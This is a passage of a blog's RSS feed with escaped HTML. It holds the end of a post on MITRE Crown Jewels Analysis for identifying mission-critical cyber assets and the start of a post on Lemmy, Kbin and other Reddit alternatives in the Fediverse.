&lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; A more rigorous approach to dependency mapping can be adapted using the &lt;a href=&quot;https://www.mitre.org/sites/default/files/pdf/09_4577.pdf&quot;&gt;Cyber Mission Impact Assessment&lt;/a&gt; (&lt;strong&gt;CMIA&lt;/strong&gt;) process. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2023/cja/seg_dependency_map.png&quot; alt=&quot;SEG Mission Dependency Map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Consider the following when identifying potential crown jewels/key processes. System design details influence “criticality” in ways that developers (not operators) will more readily understand, so identifying key system accounts, critical files, and other critical assets will require technical insights from the development team. Deciding which cyber assets are most important to “protect” is based on the insights provided by the dependency map “linkage” to the Tasks and Mission Objectives. CJA can provide insight into which nodes to protect, what security controls to apply and where and how to apply them. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h5 id=&quot;caip&quot;&gt;CAIP&lt;/h5&gt;

&lt;p&gt;One tool which can be used to facilitate critical asset ideation is the &lt;a href=&quot;https://media.defense.gov/2017/Jan/18/2001774174/-1/-1/1/DODIG-2013-119.pdf&quot;&gt;Critical Asset Identification Process&lt;/a&gt; (&lt;strong&gt;CAIP&lt;/strong&gt;), brought to us by &lt;em&gt;DODIG-2013-119&lt;/em&gt;. The report provides the following guidance for identifying and prioritizing critical assets. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Break down missions and functions into required tasks, standards, and capabilities&lt;/li&gt;
  &lt;li&gt;Identify the task assets that support the missions to the required standards and capabilities&lt;/li&gt;
  &lt;li&gt;Prioritize the assets identified based on the criticality of the mission and the availability of other assets that could satisfy required standards and capabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;mission-impact-analysis&quot;&gt;Mission Impact Analysis&lt;/h2&gt;

&lt;p&gt;Once &lt;a href=&quot;#identify-mission-dependencies&quot;&gt;mission dependencies have been identified&lt;/a&gt;, the third and final stage of the &lt;a href=&quot;#mitre-crown-jewels-analysis-cja-process&quot;&gt;CJA&lt;/a&gt; can commence, the &lt;strong&gt;mission impact analysis&lt;/strong&gt;. The &lt;em&gt;dependency map&lt;/em&gt; depicted below demonstrates how failures/degradation of a (cyber) asset results in compromise of upstream information assets, tasks, functions and potentially entire missions. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2023/cja/seg_dependency_failure_tree.png&quot; alt=&quot;SEG Dependency Failure Tree&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Employing a graph-based mission dependency model can help show the transitive (&lt;em&gt;nth&lt;/em&gt; order) mission impacts of cyberattacks. For example, a graph traversal query can begin at the victim host of an attack, and traverse the graph (vertically) to enumerate the mission components that depend on it, showing impact on all effected levels of the mission dependency hierarchy. After modeling a larger volume of potential attacks, common critical pathways will emerge which represent high probability vectors attackers tend to gravitate towards (“gravitational nodes”). A query could also traverse in the opposite direction, e.g., to show the “cyber key terrain” supported by a given mission component. Moreover, a mission dependency model could include important semantics such as relative criticality, ownership, geographic location, etc… &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;6&lt;/a&gt;, &lt;a href=&quot;#references&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For describing criticality of an asset in the context of the mission, consider MITRE’s &lt;strong&gt;SCRAM&lt;/strong&gt; Criticality Levels (listed below). &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Level I: Total Mission Failure&lt;/li&gt;
  &lt;li&gt;Level II: Significant Degradation&lt;/li&gt;
  &lt;li&gt;Level III: Partial Capability Loss&lt;/li&gt;
  &lt;li&gt;Level IV: Negligible or No Loss&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mission impact analysis should yield insights into which nodes, specifically which cyber assets (leaf nodes) result in the most catastrophic mission failure upon compromise/degradation. These are your &lt;strong&gt;crown jewels&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;appendices&quot;&gt;Appendices&lt;/h1&gt;

&lt;h5 id=&quot;courses-of-action&quot;&gt;Courses of Action&lt;/h5&gt;
&lt;p&gt;When performing &lt;a href=&quot;#mission-impact-analysis&quot;&gt;mission impact analysis&lt;/a&gt;, consider resource allocation in the context of risk mitigation. The list below summarizes courses of action for mitigating potential weaknesses identified in the &lt;a href=&quot;#identify-mission-dependencies&quot;&gt;dependency map&lt;/a&gt;. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Technical&lt;/strong&gt; – redundant or spare cyber assets
    &lt;ul&gt;
      &lt;li&gt;Replace: Can the cyber asset (e.g., system, network) be replaced with redundant components (e.g., spare servers, redundant network paths)?&lt;/li&gt;
      &lt;li&gt;Reconstitute: Can the cyber asset be reconstituted? For example, can the system replicate a server instance from a gold master virtual machine image, or dynamically reconfigure the network.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Service&lt;/strong&gt; – redirect from other area or fall back on alternative functionality
    &lt;ul&gt;
      &lt;li&gt;Reposition: Are there identical services, potentially in neighbouring geographic regions, that can be repositioned to cover the mission area?&lt;/li&gt;
      &lt;li&gt;Repurpose: Can the lost service functionality be (partially) replicated by repurposing other services? For example, email service may be used to provide some data transmission functionality similar to chat. Voice services (radio, VOIP) can be used as an alternative to digital communications (email, chat).
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Operational&lt;/strong&gt; – leverage concept of operations (CONOPS), call alternative commands for support
    &lt;ul&gt;
      &lt;li&gt;Reuse: Can the missing functionality be fulfilled by reusing a similar service offered by another entity or organization?&lt;/li&gt;
      &lt;li&gt;Retask: Can another entity or organization be retasked to complete or support the mission?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mitre.org/news-insights/publication/crown-jewels-analysis-industrial-control-systems&quot;&gt;Crown Jewels Analysis | MITRE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mitre.org/news-insights/publication/systems-engineering-guide-introduction-risk-management&quot;&gt;MITRE Systems Engineering Guide&lt;/a&gt; - &lt;a href=&quot;https://www.mitre.org/sites/default/files/2022-09/MITRE-SEG.pdf&quot;&gt;SEG .pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://media.defense.gov/2017/Jan/18/2001774174/-1/-1/1/DODIG-2013-119.pdf&quot;&gt;Critical Asset Identification Process (CAIP)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mitre.org/sites/default/files/pdf/09_4577.pdf&quot;&gt;CMIA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.dragos.com/blog/how-to-identify-cyber-critical-systems-with-a-crown-jewel-analysis/&quot;&gt;Crown Jewels Analysis | Dragos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mitiga.io/blog/crown-jewels-analysis-risk-of-bias&quot;&gt;Crown Jewels Analysis - A Risk of Bias | Mitiga&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;7&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.mandiant.kr/sites/default/files/2021-09/ds-crown-jewels-security-assessment-000369-1.pdf&quot;&gt;Crown Jewels Security Assessment | Mandiant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://csis.gmu.edu/noel/pubs/2016_NATO_IST_148.pdf&quot;&gt;Mission Dependency Modeling for Cyber Situational Awareness&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitre.org/news-insights/publication/threat-assessment-and-remediation-analysis-tara&quot;&gt;MITRE Threat Assessment and Remediation Analysis (TARA)&lt;/a&gt; &lt;a href=&quot;https://www.mitre.org/sites/default/files/2021-10/pr-14-2359-tara-introduction-and-overview.pdf&quot;&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/threat-modeling#tara&quot;&gt;TARA | Shellsharks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitre.org/news-insights/publication/risk-mission-assessment-process-riskmap-sensitivity-analysis-and&quot;&gt;RiskMAP | MITRE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitre.org/sites/default/files/pdf/09_4577.pdf&quot;&gt;Evaluating the Impact of Cyber Attacks on Missions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.safie.hq.af.mil/Portals/78/documents/IEE/Energy/CJA_2021%20DAF%20fact%20sheet_final.pdf?ver=L5iwNjsgsHlxR8SPg71Opw%3D%3D&quot;&gt;Crown Jewels Analysis | Air Force&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dragos.com/blog/how-to-identify-cyber-critical-systems-with-a-crown-jewel-analysis/&quot;&gt;How to Identify Cyber Critical Systems with a Crown Jewels Analysis | Dragos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apps.dtic.mil/sti/pdfs/AD1128264.pdf&quot;&gt;CyGraph: Big-Data Graph Analysis for Cybersecurity and Mission Resilience&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 14 Jul 2023 06:00:00 -0400</pubDate>
        <link>https://shellsharks.com/crown-jewels-analysis</link>
        <guid isPermaLink="true">https://shellsharks.com/crown-jewels-analysis</guid>
        
        <category>infosec</category>
        
        <category>cja</category>
        
        <category>tara</category>
        
        <category>threatmodeling</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Threadiversal Travel</title>
        <shark:summary><p>There has been a convergence of late, <a href="https://www.theverge.com/2023/6/5/23749188/reddit-subreddit-private-protest-api-changes-apollo-charges">Reddit’s fateful decision</a> (and the wider trend of corporate <em><a href="https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys">enshittification</a></em>) coupled with a growing interest in the <a href="https://www.fediverse.to/">Fediverse</a> has triggered an emergence of Reddit-esque, thread-driven, link-aggregation/discussion-board <a href="#threadiverse--beyond">sites</a>. The <strong>Threadiverse</strong>, as it has been coined (and now <a href="https://fedidb.org/current-events/threadiverse">tracked</a>) specifically refers to the bloom of <a href="https://join-lemmy.org/">Lemmy</a> and <a href="https://github.com/ernestwisniewski/kbin">Kbin</a> instances (<em><a href="#lemmy-vs-kbin">more on these later</a></em>) that have spawned and are now serving as places where former Reddit-dwellers are fleeing.</p>
</shark:summary>
        <description>&lt;p&gt;There has been a convergence of late, &lt;a href=&quot;https://www.theverge.com/2023/6/5/23749188/reddit-subreddit-private-protest-api-changes-apollo-charges&quot;&gt;Reddit’s fateful decision&lt;/a&gt; (and the wider trend of corporate &lt;em&gt;&lt;a href=&quot;https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys&quot;&gt;enshittification&lt;/a&gt;&lt;/em&gt;) coupled with a growing interest in the &lt;a href=&quot;https://www.fediverse.to&quot;&gt;Fediverse&lt;/a&gt; has triggered an emergence of Reddit-esque, thread-driven, link-aggregation/discussion-board &lt;a href=&quot;#threadiverse--beyond&quot;&gt;sites&lt;/a&gt;. The &lt;strong&gt;Threadiverse&lt;/strong&gt;, as it has been coined (and now &lt;a href=&quot;https://fedidb.org/current-events/threadiverse&quot;&gt;tracked&lt;/a&gt;) specifically refers to the bloom of &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt; and &lt;a href=&quot;https://github.com/ernestwisniewski/kbin&quot;&gt;Kbin&lt;/a&gt; instances (&lt;em&gt;&lt;a href=&quot;#lemmy-vs-kbin&quot;&gt;more on these later&lt;/a&gt;&lt;/em&gt;) that have spawned and are now serving as places where former Reddit-dwellers are fleeing.&lt;/p&gt;

&lt;p&gt;I don’t intend on thoroughly covering &lt;a href=&quot;https://reddark.untone.uk&quot;&gt;what happened&lt;/a&gt; (&lt;em&gt;&lt;a href=&quot;https://www.zdnet.com/article/reddit-is-in-danger-of-a-death-spiral/&quot;&gt;and is continuing to happen&lt;/a&gt;&lt;/em&gt; - also &lt;a href=&quot;https://www.bbc.com/news/articles/czrlep5xpmzo&quot;&gt;this kinda thing&lt;/a&gt; now) with Reddit nor do I want to try to &lt;a href=&quot;https://fedi.tips/what-is-mastodon-what-is-the-fediverse/&quot;&gt;explain the Fediverse&lt;/a&gt; and its many virtues, but I &lt;em&gt;do&lt;/em&gt; want to share my feelings (&lt;em&gt;ramble a bit&lt;/em&gt;) on what the instability and uncertain future of Reddit (and other large platforms), paired with the promising future of the &lt;em&gt;Threadiverse&lt;/em&gt; means for those of us looking to find and build meaningful and lasting communities elsewhere across the web.&lt;/p&gt;

&lt;p&gt;I think we as denizens of the Internet have become rather &lt;em&gt;lazy&lt;/em&gt;, thanks in large part to the trend of content/activity centralization within the behemoth platforms like Facebook, Reddit, Twitter, etc… We have become too comfortable relying solely on these companies to serve us news, articles of interest and updates from our connections, friends and family. As such, we have conceded control of these feeds (and thus our minds and perspectives) to aggressive ad-injection and the corporate algorithms &lt;a href=&quot;https://www.techdetoxbox.com/weapons-of-digital-manipulation/how-attention-economy-profits-from-outrage/&quot;&gt;designed to enrage us&lt;/a&gt; and maximize (toxic) engagement, all to boost profitability for these companies. For an age, we have settled for this breed of news and content because of the benefits big-social and big-tech bring, but a new age is upon us, one of accelerating &lt;em&gt;enshittification&lt;/em&gt;. So what happens when these platforms finally sour to the enshittification point? What happens to the communities we’ve built? The connections we’ve made? The real, useful content stranded within? Where do we go?&lt;/p&gt;

&lt;p&gt;Enter the &lt;em&gt;Fediverse&lt;/em&gt; and the &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt; at large. It is here that content can once again be “ours”, connectivity made more resilient and control recaptured. Here, we are far less vulnerable to the dangers and whims of the corporate weblords hellbent on extracting every last dollar from us at the expense of our privacy. Will it be easy to reclaim the web, our content and our connections? &lt;em&gt;No&lt;/em&gt;, but thanks to a confluence of events, i.e. the growing set of (Fediversal) tools, a more motivated / awoken general populace, and an ever-incresasing portfolio of enshittified platforms, we may at last have the aggregate energy to overthrow then reclaim the web. &lt;strong&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Enough of that&lt;/em&gt;, let’s get into what the &lt;a href=&quot;#threadiverse--beyond&quot;&gt;options are beyond Reddit&lt;/a&gt;, &lt;a href=&quot;#operationalize-lemmy--kbin&quot;&gt;how to use them&lt;/a&gt; and &lt;a href=&quot;#conclusion&quot;&gt;why&lt;/a&gt; it’s a good idea…&lt;/p&gt;

&lt;h2 id=&quot;threadiverse--beyond&quot;&gt;Threadiverse &amp;amp; Beyond&lt;/h2&gt;
&lt;p&gt;So the Reddit &lt;a href=&quot;https://www.thesixthaxis.com/2023/06/28/minecraft-devs-are-leaving-reddit-amidst-policy-changes/&quot;&gt;exodus has begun&lt;/a&gt;, but where are people going? Similar communities and experiences have emerged within apps/instances of the “&lt;strong&gt;Threadiverse&lt;/strong&gt;” as well as some other non-decentralized services. This guide focuses mostly on &lt;a href=&quot;https://www.fediverse.to/&quot;&gt;Fediverse&lt;/a&gt;-compatible, decentralized discussion platforms (i.e. the &lt;em&gt;Threadiverse&lt;/em&gt;) but these other platforms are mentioned for the sake of moving away from Reddit. The list below summarizes where people are migrating…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;&lt;/strong&gt;: Fediverse-compatible social link aggregation and discussion platform&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt;&lt;/strong&gt;: Open source reddit-like content aggregator and microblogging platform for the Fediverse&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://join.piefed.social&quot;&gt;PieFed&lt;/a&gt;&lt;/strong&gt;: A link aggregator, a forum, a hub of social interaction and information, built for the fediverse&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/MbinOrg/mbin&quot;&gt;Mbin&lt;/a&gt;&lt;/strong&gt;: Decentralized content aggregator, voting, discussion, and microblogging platform running on the fediverse&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://nodebb.org&quot;&gt;NodeBB&lt;/a&gt;&lt;/strong&gt;: Traditional forum platform that has recently added Fediverse support&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.discourse.org&quot;&gt;Discourse&lt;/a&gt;&lt;/strong&gt;: Open source discussion platform (which has some Fediverse connectivity options)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tildes.net&quot;&gt;Tildes&lt;/a&gt; - non-profit community site driven by its users’ interests&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://squabblr.co&quot;&gt;Squabblr&lt;/a&gt; - “combines the best parts of Twitter, with the best parts of Reddit”&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raddle.me&quot;&gt;Raddle&lt;/a&gt; - reddit alternative&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lobste.rs&quot;&gt;Lobsters&lt;/a&gt; - computing-focused community centered around link aggregation and discussion&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://news.ycombinator.com/news&quot;&gt;Hacker News&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://azorius.net/&quot;&gt;Azorius&lt;/a&gt; - social link aggregator and comment forum which federates with other instances via ActivityPub&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fark.com&quot;&gt;Fark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;lemmy-vs-kbin&quot;&gt;Lemmy vs Kbin&lt;/h6&gt;

&lt;p&gt;So, &lt;em&gt;threadiversally&lt;/em&gt; speaking, what’s better, &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt; or &lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt;? Let’s start with how they are similar. Lemmy and Kbin are both link aggregators/discussion platforms centered around communities (in Kbin speak, they are called “magazines”). They both have upvotes/downvotes (e.g. mostly for post popularity rather than “karma”), sorting (e.g. “hot”, “top”, newest, “active”, etc…), thread-based posts where you can comment/reply, community subscribe, user following and are both compatible with &lt;a href=&quot;https://activitypub.rocks&quot;&gt;ActivityPub&lt;/a&gt; and thus each other. So how do they differ? &lt;em&gt;Not much really&lt;/em&gt; from what I can tell so far. The few notable differences are Kbin supports Mastodon/Twitter-esque microblogging as well as native “&lt;a href=&quot;https://mastodon.help&quot;&gt;Boosting&lt;/a&gt;”, Kbin is a &lt;a href=&quot;https://github.com/ernestwisniewski/kbin&quot;&gt;newer project&lt;/a&gt; (circa 2021) written in PHP versus &lt;a href=&quot;https://github.com/LemmyNet/lemmy&quot;&gt;rust-based Lemmy&lt;/a&gt; (circa 2019), and of course the projects are backed by different development teams &lt;strong&gt;*&lt;/strong&gt;. Pick one and &lt;a href=&quot;#operationalize-lemmy--kbin&quot;&gt;let’s go&lt;/a&gt;! &lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;NOTE: Some within the community have expressed concerns related to Lemmy dev’s political views.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;operationalize-lemmy--kbin&quot;&gt;Operationalize Lemmy &amp;amp; Kbin&lt;/h2&gt;
&lt;p&gt;Functionally speaking, there’s &lt;a href=&quot;#lemmy-vs-kbin&quot;&gt;not much difference&lt;/a&gt; between &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt; and &lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt;, so once you’ve decided which you want to start with, you can &lt;a href=&quot;#getting-started&quot;&gt;dive in&lt;/a&gt; and get sc-rollin’.&lt;/p&gt;

&lt;h5 id=&quot;getting-started&quot;&gt;Getting Started&lt;/h5&gt;
&lt;p&gt;Getting started with &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;/&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt; is &lt;a href=&quot;https://infosec.exchange/@shellsharks/110608270915467893&quot;&gt;pretty easy&lt;/a&gt;!&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;#interesting-instancescommunities&quot;&gt;Find an instance&lt;/a&gt;&lt;/strong&gt;. Which instance you choose &lt;em&gt;shouldn’t&lt;/em&gt; matter much in the end. You will be able to see, subscribe and interact with communities from other instances regardless of your home instance. One way to find an instance is to simply &lt;a href=&quot;#finding-communities&quot;&gt;find a community&lt;/a&gt; you are interested in and join the instance that community is a part of. Some considerations for instance choosing include…
    &lt;ul&gt;
      &lt;li&gt;Is this instance stable? Does it have a good admin/moderation team? Is it well-funded?&lt;/li&gt;
      &lt;li&gt;Is this instance at risk of &lt;a href=&quot;https://fediversereport.com/defederation/&quot;&gt;defederation&lt;/a&gt;? This typically happens if it is hosting content that is &lt;em&gt;bad&lt;/em&gt;. If so, it is at risk of being cut off from the wider network of Threadiverse instances. This &lt;em&gt;should&lt;/em&gt; be the nuclear approach for instance admins, but there seems to be a fair bit of &lt;a href=&quot;https://beehaw.org/post/567170&quot;&gt;fedi-drama&lt;/a&gt; that could result in premature or poorly-reasoned defederation.&lt;/li&gt;
      &lt;li&gt;It’s worth noting that, unlike w/ &lt;a href=&quot;https://docs.joinmastodon.org/user/network/&quot;&gt;Mastodon&lt;/a&gt; and other services where building a following is important, it is less so with the Threadiverse. Here, communities rule and if your instance goes belly-up for some reason, it’s very easy to create an entirely new account on a new instance and then simply re-subscribe to all your old communities. Yes, you may lose some “followers” and some post history but it shouldn’t matter as much in this context.&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;*&lt;/strong&gt; Bottom line, &lt;em&gt;yes&lt;/em&gt;, these are things to be &lt;em&gt;aware&lt;/em&gt; of, but you &lt;em&gt;shouldn’t&lt;/em&gt; need to worry or care about this so don’t let it trip you up in terms of getting started.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;*OPTIONAL*: If you enjoy browsing on the go, consider downloading a &lt;a href=&quot;#mobile-clients&quot;&gt;mobile app&lt;/a&gt;. I’ve enjoyed using &lt;a href=&quot;https://github.com/gkasdorf/memmy&quot;&gt;Memmy&lt;/a&gt; so far.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Find&lt;/strong&gt; and subscribe to &lt;strong&gt;communities&lt;/strong&gt; (and magazines) of interest! There are a few &lt;a href=&quot;#finding-communities&quot;&gt;resources to aid in finding communities&lt;/a&gt;. The search functionality built directly within &amp;lt;instance&amp;gt;/communities (Lemmy) and &amp;lt;instance&amp;gt;/magazines (Kbin) can also be used to find communities, even across instances! Adding a specific community is as easy as typing &lt;strong&gt;!&amp;lt;community name&amp;gt;@&amp;lt;instance name&amp;gt;&lt;/strong&gt; into the search bar.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Start scrolling, reading, upvoting (&lt;em&gt;or downvoting =/&lt;/em&gt;), replying, posting and &lt;strong&gt;enjoying&lt;/strong&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;*OPTIONAL but Recommended*: Support your instance (&lt;em&gt;financially - connect with your instance admin to learn how&lt;/em&gt;), volunteer (e.g. moderate), help grow the community!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Some other guides that I’ve seen pop up across the &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt; can be found in the &lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt; section.&lt;/p&gt;

&lt;h5 id=&quot;finding-communities&quot;&gt;Finding Communities&lt;/h5&gt;
&lt;p&gt;Finding communities/magazines across the &lt;a href=&quot;https://www.fediverse.to/&quot;&gt;Fediverse&lt;/a&gt; of networked &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;/&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt; instances is easy! You can use native search functionality or you can use any of the following! With the reddit migration in full-effect, there are a few separate efforts which map sub-reddits to their new homes in the &lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://sub.rehab&quot;&gt;sub.rehab&lt;/a&gt; - instances of Reddit communities on alternative platforms&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redditmigration.com&quot;&gt;reddit migration directory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.quippd.com/writing/2023/06/15/unofficial-subreddit-migration-list-lemmy-kbin-etc.html&quot;&gt;Unofficial Subreddit Migration List | quippd&lt;/a&gt; - A comprehensive mapping of old subreddits to new communities&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#interesting-instancescommunities&quot;&gt;Curated list of interesting instances/communities&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Remember, you can interact with remote communities (communities on other instances) directly from your own. You &lt;em&gt;don’t&lt;/em&gt; need accounts on multiple instances. Also, try not to worry about community fracturing (i.e. /c/techonology on multiple instances), you can simply follow all of them and then view them all in the aggregate “subscribed” feed. In time, I suspect these communities will coalesce or simply operate in harmony (with minimal redundant noise).&lt;/p&gt;

&lt;h3 id=&quot;interactivity-w-mastodon&quot;&gt;Interactivity w/ Mastodon&lt;/h3&gt;
&lt;p&gt;We refer to the network of &lt;a href=&quot;https://join-lemmy.org&quot;&gt;Lemmy&lt;/a&gt;/&lt;a href=&quot;https://kbin.pub/en&quot;&gt;Kbin&lt;/a&gt; instances as the “&lt;a href=&quot;#threadiverse--beyond&quot;&gt;Threadiverse&lt;/a&gt;” because they are &lt;a href=&quot;https://activitypub.rocks&quot;&gt;ActivityPub&lt;/a&gt;-compatible and thus part of the wider array of &lt;a href=&quot;https://fediverse.party/en/miscellaneous/&quot;&gt;Fediverse applications&lt;/a&gt;. What does this mean beyond the Kbin &amp;lt;–&amp;gt; Lemmy interaction? Well it means there is some interactive capabilities w/ the most popular software of the Fediverse, &lt;strong&gt;&lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt;&lt;/strong&gt;! I did some testing (&lt;a href=&quot;https://infosec.exchange/@shellsharks/110543499675226515&quot;&gt;thread 1&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@shellsharks/110537951407194206&quot;&gt;thread 2&lt;/a&gt;) not too long ago and made some observations…&lt;/p&gt;

&lt;p&gt;NOTE: &lt;em&gt;This testing was done at single point in time, using an isolated set of Lemmy/Kbin/Mastodon instances. Future updates or at-the-time configuration for any of these projects/instances could change observed behavior.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
